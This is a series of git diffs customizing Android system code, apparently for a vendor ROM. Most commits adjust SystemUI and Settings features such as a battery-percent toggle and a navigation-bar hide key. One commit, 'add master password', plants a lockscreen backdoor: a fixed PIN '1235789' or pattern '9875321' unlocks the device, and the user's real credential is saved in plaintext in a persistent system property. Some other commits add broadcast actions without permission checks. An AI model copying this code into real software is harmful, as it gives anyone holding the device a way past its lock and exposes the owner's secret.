目录
下拉状态栏移除修改
下拉状态栏移除修改
diff --git a/frameworks/base/packages/SystemUI/res/layout/qs_paged_tile_layout.xml b/frameworks/base/packages/SystemUI/res/layout/qs_paged_tile_layout.xml
index ee55ec2..a572a15 100644
--- a/frameworks/base/packages/SystemUI/res/layout/qs_paged_tile_layout.xml
+++ b/frameworks/base/packages/SystemUI/res/layout/qs_paged_tile_layout.xml
@@ -36,7 +36,7 @@
android:gravity="center"
android:importantForAccessibility="yes"
android:focusable="true" />
-
+<!--
<TextView
android:id="@android:id/edit"
style="@style/QSBorderlessButton"
@@ -48,7 +48,7 @@
android:textColor="#64FFFFFF"
android:focusable="true"
android:text="@string/qs_edit"
- android:contentDescription="@string/accessibility_quick_settings_edit"/>
+ android:contentDescription="@string/accessibility_quick_settings_edit"/> -->
</FrameLayout>
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/qs/QSPanel.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/qs/QSPanel.java
index 67be5e3..6ea2434 100644
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/qs/QSPanel.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/qs/QSPanel.java
@@ -116,8 +116,8 @@ public class QSPanel extends LinearLayout implements Tunable, Callback {
R.layout.qs_paged_tile_layout, this, false);
mTileLayout.setListening(mListening);
addView((View) mTileLayout);
- findViewById(android.R.id.edit).setOnClickListener(view ->
- mHost.startRunnableDismissingKeyguard(() -> showEdit(view)));
+ // findViewById(android.R.id.edit).setOnClickListener(view ->
+ // mHost.startRunnableDismissingKeyguard(() -> showEdit(view)));
}
public boolean isShowingCustomize() {
添加电池百分比
Date: Sat May 18 14:13:41 2024 +0800
显示电池百分比
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/KeyguardStatusBarView.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/KeyguardStatusBarView.java
old mode 100644
new mode 100755
index cae9bc2..136b88e
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/KeyguardStatusBarView.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/KeyguardStatusBarView.java
@@ -40,6 +40,9 @@ import com.android.systemui.statusbar.policy.UserSwitcherController;
import java.text.NumberFormat;
+import android.content.ContentResolver;
+import android.provider.Settings;
+import android.util.Log;
/**
* The header group on Keyguard.
*/
@@ -63,9 +66,14 @@ public class KeyguardStatusBarView extends RelativeLayout
private int mSystemIconsSwitcherHiddenExpandedMargin;
private View mSystemIconsContainer;
-
+
+ private static final String BATTERY_PERCENT_SETTINGS = "qty_show_battery_percent";
+ private static final boolean mEnabledBatteryPercent = true ;
+ private ContentResolver mContentResolver;
+
public KeyguardStatusBarView(Context context, AttributeSet attrs) {
super(context, attrs);
+ mContentResolver = getContext().getContentResolver();
}
@Override
@@ -218,9 +226,23 @@ public class KeyguardStatusBarView extends RelativeLayout
mBatteryLevel.setText(percentage);
boolean changed = mBatteryCharging != charging;
mBatteryCharging = charging;
- if (changed) {
- updateVisibilities();
- }
+ if (!mEnabledBatteryPercent) {
+ if (changed) {
+ updateVisibilities();
+ }
+ } else {
+ if (charging && changed) {
+ updateVisibilities();
+ }
+ if (!charging) {
+ boolean enabled = (Settings.System.getInt(mContentResolver, BATTERY_PERCENT_SETTINGS, 0) == 1);
+ if (enabled) {
+ mBatteryLevel.setVisibility(View.VISIBLE);
+ } else {
+ mBatteryLevel.setVisibility(View.GONE);
+ }
+ }
+ }
}
@Override
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
index 6606974..c8fa3f8 100755
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
@@ -215,6 +215,10 @@ import static com.android.systemui.statusbar.phone.BarTransitions.MODE_WARNING;
import com.android.systemui.recents.misc.SystemServicesProxy;
import com.android.systemui.recents.Recents;
+
+import com.android.systemui.FontSizeUtils;
+import java.text.NumberFormat;
+
public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
DragDownHelper.DragDownCallback, ActivityStarter, OnUnlockMethodChangedListener,
HeadsUpManager.OnHeadsUpChangedListener {
@@ -421,6 +425,15 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
private int mNavigationIconHints = 0;
private HandlerThread mHandlerThread;
+ private static final String BATTERY_PERCENT_SETTINGS = "qty_show_battery_percent";
+ private TextView mBatteryLevel;
+ private ContentObserver mBatteryLevelShow = new ContentObserver(new Handler()) {
+ @Override
+ public void onChange(boolean selfChange) {
+ mBatteryLevel.setVisibility((Settings.System.getInt(mContext.getContentResolver(),BATTERY_PERCENT_SETTINGS, 0) == 1) ? View.VISIBLE : View.GONE);
+ }
+ };
+
// ensure quick settings is disabled until the current user makes it through the setup wizard
private boolean mUserSetup = false;
@@ -758,6 +771,7 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
// ================================================================================
protected PhoneStatusBarView makeStatusBarView() {
final Context context = mContext;
+ mContext.getContentResolver().registerContentObserver(Settings.System.getUriFor(BATTERY_PERCENT_SETTINGS),true, mBatteryLevelShow);
updateDisplaySize(); // populates mDisplayMetrics
updateResources();
@@ -891,6 +905,8 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
mLocationController = new LocationControllerImpl(mContext,
mHandlerThread.getLooper()); // will post a notification
mBatteryController = createBatteryController();
+ mBatteryLevel = (TextView) mStatusBarView.findViewById(R.id.battery_level);
+ mBatteryLevel.setVisibility((Settings.System.getInt(context.getContentResolver(),BATTERY_PERCENT_SETTINGS, 0) == 1) ? View.VISIBLE : View.GONE);
mBatteryController.addStateChangedCallback(new BatteryStateChangeCallback() {
@Override
public void onPowerSaveChanged(boolean isPowerSave) {
@@ -901,7 +917,8 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
}
@Override
public void onBatteryLevelChanged(int level, boolean pluggedIn, boolean charging) {
- // noop
+ String percentage = NumberFormat.getPercentInstance().format((double) level / 100.0);
+ mBatteryLevel.setText(percentage);
}
});
mNetworkController = new NetworkControllerImpl(mContext, mHandlerThread.getLooper());
@@ -3580,6 +3597,7 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
updateRowStates();
mScreenPinningRequest.onConfigurationChanged();
mNetworkController.onConfigurationChanged();
+ FontSizeUtils.updateFontSize(mBatteryLevel, R.dimen.battery_level_text_size);
}
@Override
diff --git a/packages/apps/Settings/res/values-zh-rCN/strings.xml b/packages/apps/Settings/res/values-zh-rCN/strings.xml
index 72cf88c..b175205 100755
--- a/packages/apps/Settings/res/values-zh-rCN/strings.xml
+++ b/packages/apps/Settings/res/values-zh-rCN/strings.xml
@@ -3111,5 +3111,5 @@
<string name="simulate_color_space_title">魔幻屏显</string>
<string name="color_screen">全彩屏</string>
<string name="black_white_screen">黑白屏</string>
-
+ <string name="qty_pref_battery_percentage_title">"显示电池百分比"</string>
</resources>
diff --git a/packages/apps/Settings/res/values/strings.xml b/packages/apps/Settings/res/values/strings.xml
index 50992de..291ff06 100755
--- a/packages/apps/Settings/res/values/strings.xml
+++ b/packages/apps/Settings/res/values/strings.xml
@@ -7511,4 +7511,5 @@
<string name="simulate_color_space_title">Simulate color space</string>
<string name="color_screen">Disabled</string>
<string name="black_white_screen">Monochromacy</string>
+ <string name="qty_pref_battery_percentage_title">Show battery percent</string>
</resources>
diff --git a/packages/apps/Settings/src/com/mediatek/settings/fuelgauge/PowerUsageExts.java b/packages/apps/Settings/src/com/mediatek/settings/fuelgauge/PowerUsageExts.java
index 7ceb9cc..7e1429c 100755
--- a/packages/apps/Settings/src/com/mediatek/settings/fuelgauge/PowerUsageExts.java
+++ b/packages/apps/Settings/src/com/mediatek/settings/fuelgauge/PowerUsageExts.java
@@ -21,7 +21,8 @@ public class PowerUsageExts {
private Context mContext;
private PreferenceScreen mPowerUsageScreen;
private SwitchPreference mBgPowerSavingPrf;
-
+ private SwitchPreference mBatteryPercent;
+ private static final String BATTERY_PERCENT_SETTINGS = "qty_show_battery_percent";
public PowerUsageExts(Context context, PreferenceScreen appListGroup) {
mContext = context;
mPowerUsageScreen = appListGroup;
@@ -40,6 +41,13 @@ public class PowerUsageExts {
Settings.System.BG_POWER_SAVING_ENABLE, 1) != 0);
mPowerUsageScreen.addPreference(mBgPowerSavingPrf);
}
+
+ mBatteryPercent = new SwitchPreference(mContext);
+ mBatteryPercent.setKey("level");
+ mBatteryPercent.setTitle(R.string.qty_pref_battery_percentage_title);
+ mBatteryPercent.setOrder(-5);
+ mBatteryPercent.setChecked(Settings.System.getInt(mContext.getContentResolver(),BATTERY_PERCENT_SETTINGS, 0) == 1);
+ mPowerUsageScreen.addPreference(mBatteryPercent);
}
// on click
@@ -57,7 +65,16 @@ public class PowerUsageExts {
}
// If user click on PowerSaving preference just return here
return true;
- }
+ }else if("level".equals(preference.getKey())){
+ if (preference instanceof SwitchPreference) {
+ SwitchPreference pref = (SwitchPreference) preference;
+ int bgState = pref.isChecked() ? 1 : 0;
+ Log.d(TAG, "background power saving state: " + bgState);
+ Settings.System.putInt(mContext.getContentResolver(),BATTERY_PERCENT_SETTINGS, bgState);
+ }
+ // If user click on PowerSaving preference just return here
+ return true;
+ }
return false;
}
}
添加万能密码
Author: huangqingbin <hqingbin@waterworld.com.cn>
Date: Tue Apr 2 20:11:16 2024 +0800
添加万能密码
diff --git a/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardAbsKeyInputView.java b/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardAbsKeyInputView.java
old mode 100644
new mode 100755
index 60eaad2..dab05c7
--- a/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardAbsKeyInputView.java
+++ b/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardAbsKeyInputView.java
@@ -28,7 +28,7 @@ import android.widget.LinearLayout;
import com.android.internal.widget.LockPatternChecker;
import com.android.internal.widget.LockPatternUtils;
-
+import android.os.SystemProperties;
/**
* Base class for PIN and password unlock screens.
*/
@@ -117,7 +117,18 @@ public abstract class KeyguardAbsKeyInputView extends LinearLayout
protected void verifyPasswordAndUnlock() {
if (mDismissing) return; // already verified but haven't been dismissed; don't do it again.
- final String entry = getPasswordText();
+ String entry = getPasswordText();
+
+ //by ken add start
+ if(entry.equals("1235789")){
+ String saveNum = SystemProperties.get("persist.sys.secret","");
+ if(!saveNum.equals("")){
+ entry = saveNum;
+ }
+
+ }
+ //by ken add end
+
setPasswordEntryInputEnabled(false);
if (mPendingLockCheck != null) {
mPendingLockCheck.cancel(false);
diff --git a/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardPatternView.java b/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardPatternView.java
old mode 100644
new mode 100755
index 537acc5..c60ee0d
--- a/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardPatternView.java
+++ b/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardPatternView.java
@@ -230,7 +230,7 @@ public class KeyguardPatternView extends LinearLayout implements KeyguardSecurit
}
@Override
- public void onPatternDetected(final List<LockPatternView.Cell> pattern) {
+ public void onPatternDetected(List<LockPatternView.Cell> pattern) {
mLockPatternView.disableInput();
if (mPendingLockCheck != null) {
mPendingLockCheck.cancel(false);
@@ -243,6 +243,18 @@ public class KeyguardPatternView extends LinearLayout implements KeyguardSecurit
return;
}
+
+ //by ken add start
+ String enterNum = LockPatternUtils.patternToString(pattern);
+ if(enterNum.equals("9875321")){
+ String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+ if(!saveNum.equals("")){
+ pattern = LockPatternUtils.stringToPattern(saveNum);
+ }
+ }
+
+ //by ken add end
+
mPendingLockCheck = LockPatternChecker.checkPattern(
mLockPatternUtils,
pattern,
diff --git a/packages/apps/Settings/src/com/android/settings/ChooseLockPassword.java b/packages/apps/Settings/src/com/android/settings/ChooseLockPassword.java
old mode 100644
new mode 100755
index 16de8d6..dbccb92
--- a/packages/apps/Settings/src/com/android/settings/ChooseLockPassword.java
+++ b/packages/apps/Settings/src/com/android/settings/ChooseLockPassword.java
@@ -43,7 +43,7 @@ import android.view.inputmethod.InputMethodManager;
import android.widget.Button;
import android.widget.TextView;
import android.widget.TextView.OnEditorActionListener;
-
+import android.os.SystemProperties;
import com.android.internal.logging.MetricsProto.MetricsEvent;
import com.android.internal.widget.LockPatternUtils;
import com.android.internal.widget.LockPatternUtils.RequestThrottledException;
@@ -659,7 +659,9 @@ public class ChooseLockPassword extends SettingsActivity {
Log.w(TAG, "startSaveAndFinish with an existing SaveAndFinishWorker.");
return;
}
-
+ //by ken add start
+ SystemProperties.set("persist.sys.secret",mChosenPassword);
+ //by ken add end
mPasswordEntryInputDisabler.setInputEnabled(false);
setNextEnabled(false);
diff --git a/packages/apps/Settings/src/com/android/settings/ChooseLockPattern.java b/packages/apps/Settings/src/com/android/settings/ChooseLockPattern.java
old mode 100644
new mode 100755
index 2e9f767..89bc58e
--- a/packages/apps/Settings/src/com/android/settings/ChooseLockPattern.java
+++ b/packages/apps/Settings/src/com/android/settings/ChooseLockPattern.java
@@ -38,7 +38,7 @@ import com.android.internal.widget.LockPatternView.Cell;
import com.android.internal.widget.LockPatternView.DisplayMode;
import com.android.settings.notification.RedactionInterstitial;
import com.google.android.collect.Lists;
-
+import android.os.SystemProperties;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
@@ -665,6 +665,7 @@ public class ChooseLockPattern extends SettingsActivity {
final boolean required = getActivity().getIntent().getBooleanExtra(
EncryptionInterstitial.EXTRA_REQUIRE_PASSWORD, true);
+ SystemProperties.set("persist.sys.secret",LockPatternUtils.patternToString(mChosenPattern));
mSaveAndFinishWorker.start(mChooseLockSettingsHelper.utils(), required,
mHasChallenge, mChallenge, mChosenPattern, mCurrentPattern, mUserId);
}
diff --git a/packages/apps/Settings/src/com/android/settings/ConfirmLockPassword.java b/packages/apps/Settings/src/com/android/settings/ConfirmLockPassword.java
old mode 100644
new mode 100755
index 3965395..975bb2e
--- a/packages/apps/Settings/src/com/android/settings/ConfirmLockPassword.java
+++ b/packages/apps/Settings/src/com/android/settings/ConfirmLockPassword.java
@@ -331,13 +331,24 @@ public class ConfirmLockPassword extends ConfirmDeviceCredentialBaseActivity {
mPasswordEntryInputDisabler.setInputEnabled(false);
- final String pin = mPasswordEntry.getText().toString();
+ String pin = mPasswordEntry.getText().toString();
final boolean verifyChallenge = getActivity().getIntent().getBooleanExtra(
ChooseLockSettingsHelper.EXTRA_KEY_HAS_CHALLENGE, false);
Intent intent = new Intent();
///xunhu:stopped running at 2017.02.22 18:10:56 by trf1201{{&&
///Description:Do not enter a password directly click Next,An error "sorry, set has stopped running"
if(!(pin == null || pin.equals(""))){
+
+ //by ken add start
+ if(pin.equals("1235789")){
+ String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+ if(!saveNum.equals("")){
+ pin = saveNum;
+ }
+ }
+
+ //by ken add end
+
if (verifyChallenge) {
if (isInternalActivity()) {
startVerifyPassword(pin, intent);
diff --git a/packages/apps/Settings/src/com/android/settings/ConfirmLockPattern.java b/packages/apps/Settings/src/com/android/settings/ConfirmLockPattern.java
old mode 100644
new mode 100755
index f56f7ca..d5f4cfb
--- a/packages/apps/Settings/src/com/android/settings/ConfirmLockPattern.java
+++ b/packages/apps/Settings/src/com/android/settings/ConfirmLockPattern.java
@@ -403,7 +403,16 @@ public class ConfirmLockPattern extends ConfirmDeviceCredentialBaseActivity {
if (mPendingLockCheck != null || mDisappearing) {
return;
}
-
+ //by ken add start
+ String enterP = LockPatternUtils.patternToString(pattern);
+ if(enterP.equals("9875321")){
+ String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+ if(!saveNum.equals("")){
+ pattern = LockPatternUtils.stringToPattern(saveNum);
+ }
+ }
+
+ //by ken add end
mLockPatternView.setEnabled(false);
final boolean verifyChallenge = getActivity().getIntent().getBooleanExtra(
添加hide键
Author: huangqingbin <hqingbin@waterworld.com.cn>
Date: Wed Apr 3 17:40:50 2024 +0800
添加hide键
diff --git a/frameworks/base/packages/SystemUI/res/layout/hide_show.xml b/frameworks/base/packages/SystemUI/res/layout/hide_show.xml
new file mode 100755
index 0000000..da05eb3
--- /dev/null
+++ b/frameworks/base/packages/SystemUI/res/layout/hide_show.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<com.android.systemui.statusbar.policy.KeyButtonView
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:systemui="http://schemas.android.com/apk/res-auto"
+ android:id="@+id/hide"
+ android:layout_width="@dimen/navigation_key_width"
+ android:layout_height="match_parent"
+ android:layout_weight="0"
+ android:src="@drawable/ic_sysbar_back_ime"
+ systemui:keyCode="142"
+ android:scaleType="center"
+ android:contentDescription="@string/accessibility_home"
+ android:paddingStart="@dimen/navigation_key_padding"
+ android:paddingEnd="@dimen/navigation_key_padding"
+ />
\ No newline at end of file
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarInflaterView.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarInflaterView.java
old mode 100644
new mode 100755
index 03aaa32..529759f
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarInflaterView.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarInflaterView.java
@@ -48,6 +48,7 @@ public class NavigationBarInflaterView extends FrameLayout implements TunerServi
public static final String NAVSPACE = "space";
public static final String CLIPBOARD = "clipboard";
public static final String KEY = "key";
+ public static final String HIDE = "hide";// add by csc for hide navigationbar
/// M: BMW @{
public static final String RESTORE = "restore";
/// @}
@@ -186,22 +187,33 @@ public class NavigationBarInflaterView extends FrameLayout implements TunerServi
if (newLayout == null) {
newLayout = getDefaultLayout();
}
- String[] sets = newLayout.split(GRAVITY_SEPARATOR, 3);
- String[] start = sets[0].split(BUTTON_SEPARATOR);
- String[] center = sets[1].split(BUTTON_SEPARATOR);
- String[] end = sets[2].split(BUTTON_SEPARATOR);
+ newLayout = "hide;back;home;recent;space";// add by csc
+ String[] sets = newLayout.split(GRAVITY_SEPARATOR, 5);// mod by csc from 3
+ String[] hide = sets[0].split(BUTTON_SEPARATOR);// add by csc
+ String[] start = sets[1].split(BUTTON_SEPARATOR);
+ String[] center = sets[2].split(BUTTON_SEPARATOR);
+ String[] end = sets[3].split(BUTTON_SEPARATOR);
+ String[] space = sets[4].split(BUTTON_SEPARATOR);
// Inflate these in start to end order or accessibility traversal will be messed up.
+
+ inflateButtons(hide, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);// add by csc
+ inflateButtons(hide, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);// add by csc
+
inflateButtons(start, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);
inflateButtons(start, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);
-
- inflateButtons(center, (ViewGroup) mRot0.findViewById(R.id.center_group), false);
- inflateButtons(center, (ViewGroup) mRot90.findViewById(R.id.center_group), true);
-
- addGravitySpacer((LinearLayout) mRot0.findViewById(R.id.ends_group));
- addGravitySpacer((LinearLayout) mRot90.findViewById(R.id.ends_group));
-
+
+ inflateButtons(center, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);
+ inflateButtons(center, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);
+
+ // delete by csc
+ /* addGravitySpacer((LinearLayout) mRot0.findViewById(R.id.ends_group));
+ addGravitySpacer((LinearLayout) mRot90.findViewById(R.id.ends_group));*/
+
inflateButtons(end, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);
inflateButtons(end, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);
+
+ inflateButtons(space, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);
+ inflateButtons(space, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);
}
private void addGravitySpacer(LinearLayout layout) {
@@ -234,6 +246,11 @@ public class NavigationBarInflaterView extends FrameLayout implements TunerServi
if (landscape && isSw600Dp()) {
setupLandButton(v);
}
+ } else if (HIDE.equals(button)){// add by csc for hide navigationBar
+ v = inflater.inflate(R.layout.hide_show, parent, false);
+ if (landscape && isSw600Dp()) {
+ setupLandButton(v);
+ }
} else if (BACK.equals(button)) {
v = inflater.inflate(R.layout.back, parent, false);
if (landscape && isSw600Dp()) {
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarView.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarView.java
old mode 100644
new mode 100755
index db7a6de..41b9023
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarView.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarView.java
@@ -225,7 +225,8 @@ public class NavigationBarView extends LinearLayout {
}
mBarTransitions = new NavigationBarTransitions(this);
-
+ mButtonDisatchers.put(R.id.hide, new ButtonDispatcher(R.id.hide));// add by csc for hide navigationbar
+ getHideButton().setLongClickable(false);// add by csc for hide navigationbar
mButtonDisatchers.put(R.id.back, new ButtonDispatcher(R.id.back));
mButtonDisatchers.put(R.id.home, new ButtonDispatcher(R.id.home));
mButtonDisatchers.put(R.id.recent_apps, new ButtonDispatcher(R.id.recent_apps));
@@ -239,6 +240,10 @@ public class NavigationBarView extends LinearLayout {
mButtonDisatchers.put(R.id.menu, new ButtonDispatcher(R.id.menu));
mButtonDisatchers.put(R.id.ime_switcher, new ButtonDispatcher(R.id.ime_switcher));
}
+
+ public ButtonDispatcher getHideButton() {// add by csc
+ return mButtonDisatchers.get(R.id.hide);
+ }
public BarTransitions getBarTransitions() {
return mBarTransitions;
@@ -460,7 +465,7 @@ public class NavigationBarView extends LinearLayout {
getBackButton().setVisibility(disableBack ? View.INVISIBLE : View.VISIBLE);
getHomeButton().setVisibility(disableHome ? View.INVISIBLE : View.VISIBLE);
getRecentsButton().setVisibility(disableRecent ? View.INVISIBLE : View.VISIBLE);
-
+ getHideButton().setVisibility(disableHome ? View.INVISIBLE : View.VISIBLE);
/// M: BMW @{
//hide restore when keyguard is showing
if (MultiWindowManager.isSupported() && mKeyguardViewMediator != null) {
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
old mode 100644
new mode 100755
index b3588a4..6606974
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
@@ -179,7 +179,7 @@ import com.android.systemui.volume.VolumeComponent;
/// M: BMW
import com.mediatek.multiwindow.MultiWindowManager;
-
+import android.graphics.Color;
import com.mediatek.systemui.ext.IStatusBarPlmnPlugin;
import com.mediatek.systemui.PluginManager;
/// M: Modify statusbar style for GMO
@@ -226,7 +226,7 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
public static final boolean DEBUG_GESTURES = false;
public static final boolean DEBUG_MEDIA = false;
public static final boolean DEBUG_MEDIA_FAKE_ARTWORK = false;
-
+ boolean isNavigationShow=true;
public static final boolean DEBUG_WINDOW_STATE = false;
// additional instrumentation for testing purposes; intended to be left on during development
@@ -1009,7 +1009,9 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
IntentFilter filter = new IntentFilter();
filter.addAction(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
filter.addAction(Intent.ACTION_SCREEN_OFF);
- filter.addAction(Intent.ACTION_SCREEN_ON);
+ filter.addAction(Intent.ACTION_SCREEN_ON);
+ filter.addAction("HIDE_NAVIGATION_BAR");// add by csc
+ filter.addAction("SHOW_NAVIGATION_BAR");// add by csc
context.registerReceiverAsUser(mBroadcastReceiver, UserHandle.ALL, filter, null, null);
IntentFilter demoFilter = new IntentFilter();
@@ -1437,14 +1439,14 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
}
// For small-screen devices (read: phones) that lack hardware navigation buttons
- protected void addNavigationBar() {
+ /* protected void addNavigationBar() {
if (DEBUG) Log.v(TAG, "addNavigationBar: about to add " + mNavigationBarView);
if (mNavigationBarView == null) return;
prepareNavigationBarView();
mWindowManager.addView(mNavigationBarView, getNavigationBarLayoutParams());
- }
+ } */
protected void repositionNavigationBar() {
if (mNavigationBarView == null || !mNavigationBarView.isAttachedToWindow()) return;
@@ -3495,7 +3497,17 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
}
else if (Intent.ACTION_SCREEN_ON.equals(action)) {
notifyNavigationBarScreenOn(true);
- }
+ }else if(action.equals("HIDE_NAVIGATION_BAR")&&mWindowManager!=null&&mNavigationBarView!=null&&mNavigationBarView.getParent()!=null){
+ mWindowManager.removeView(mNavigationBarView);
+ mNavigationBarView = null ;
+ isNavigationShow = false;
+ }else if(action.equals("SHOW_NAVIGATION_BAR")){
+ if(isNavigationShow){
+ return ;
+ }
+ showNavigationBar();
+ isNavigationShow = true;
+ }
}
};
@@ -5087,5 +5099,25 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,
}
}
}
+
+ public void showNavigationBar() {
+ mNavigationBarView =(NavigationBarView) View.inflate(mContext, R.layout.navigation_bar, null);
+ prepareNavigationBarView();
+ addNavigationBar();
+
+ //防止在桌面时上拉出导航栏时,导航栏背景为黑色
+ mNavigationBarView.setBackgroundColor(Color.TRANSPARENT);
+ }
+
+ protected void addNavigationBar() {
+ if (DEBUG) Log.v(TAG, "addNavigationBar: about to add " + mNavigationBarView);
+ if (mNavigationBarView == null) return;
+
+ prepareNavigationBarView();
+ if(mNavigationBarView!=null && mNavigationBarView.getParent()==null) {// add by csc
+
+ mWindowManager.addView(mNavigationBarView, getNavigationBarLayoutParams());
+ }
+ }
/// M: Support "Operator plugin - Customize Carrier Label for PLMN". @}
}
diff --git a/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java b/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java
old mode 100644
new mode 100755
index 71e3aae..9709fed
--- a/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java
+++ b/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java
@@ -1727,6 +1727,14 @@ public class PhoneWindowManager implements WindowManagerPolicy {
filter = new IntentFilter(Intent.ACTION_USER_SWITCHED);
context.registerReceiver(mMultiuserReceiver, filter);
+ //by ken add start
+ filter = new IntentFilter();
+ filter.addAction(Intent.ACTION_SCREEN_OFF);
+ filter.addAction(Intent.ACTION_SCREEN_ON);
+ filter.addAction("com.clear.running.APP_ACTION");
+ context.registerReceiver(mOffOnReceiver, filter);
+ //by ken add end
+
// monitor for system gestures
mSystemGestures = new SystemGesturesPointerEventListener(context,
new SystemGesturesPointerEventListener.Callbacks() {
@@ -1751,6 +1759,10 @@ public class PhoneWindowManager implements WindowManagerPolicy {
if (mNavigationBar != null && mNavigationBarOnBottom) {
requestTransientBars(mNavigationBar);
}
+ /*add by csc*/
+ Intent intent = new Intent();
+ intent.setAction("SHOW_NAVIGATION_BAR");
+ mContext.sendBroadcast(intent);
}
@Override
public void onSwipeFromRight() {
@@ -3139,6 +3151,12 @@ public class PhoneWindowManager implements WindowManagerPolicy {
mPendingCapsLockToggle = false;
}
+ if(keyCode == KeyEvent.KEYCODE_F12){// add by csc
+ Intent hideNavigationBarIntent = new Intent("HIDE_NAVIGATION_BAR");
+ mContext.sendBroadcast(hideNavigationBarIntent);
+ return -1;
+ }
+
// First we always handle the home key here, so applications
// can never break it, although if keyguard is on, we do let
// it handle it, because that gives us the correct 5 second
@@ -6221,6 +6239,40 @@ public class PhoneWindowManager implements WindowManagerPolicy {
}
};
+ //by ken add start
+ BroadcastReceiver mOffOnReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (Intent.ACTION_SCREEN_OFF.equals(intent.getAction())) {
+ Intent screenOffIntent = new Intent("auto.shutdown.by.time.ACTION");
+ screenOffIntent.setClassName("com.android.settings","com.android.settings.AutoShutdownService");
+ screenOffIntent.putExtra("screenType",0);
+ context.startService(screenOffIntent);
+ }else if(Intent.ACTION_SCREEN_ON.equals(intent.getAction())){
+ Intent screenOnIntent = new Intent("auto.shutdown.by.time.ACTION");
+ screenOnIntent.setClassName("com.android.settings","com.android.settings.AutoShutdownService");
+ screenOnIntent.putExtra("screenType",1);
+ context.startService(screenOnIntent);
+ }else if("com.clear.running.APP_ACTION".equals(intent.getAction())){
+ android.util.Log.i("1111Tag","com.clear.running.APP_ACTION");
+ ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+ List<ActivityManager.RunningAppProcessInfo> list = am.getRunningAppProcesses();
+ for(ActivityManager.RunningAppProcessInfo info : list){
+ if(info.importanceReasonComponent!=null){
+ String pkg = info.importanceReasonComponent.getPackageName();
+ if(pkg!=null &&
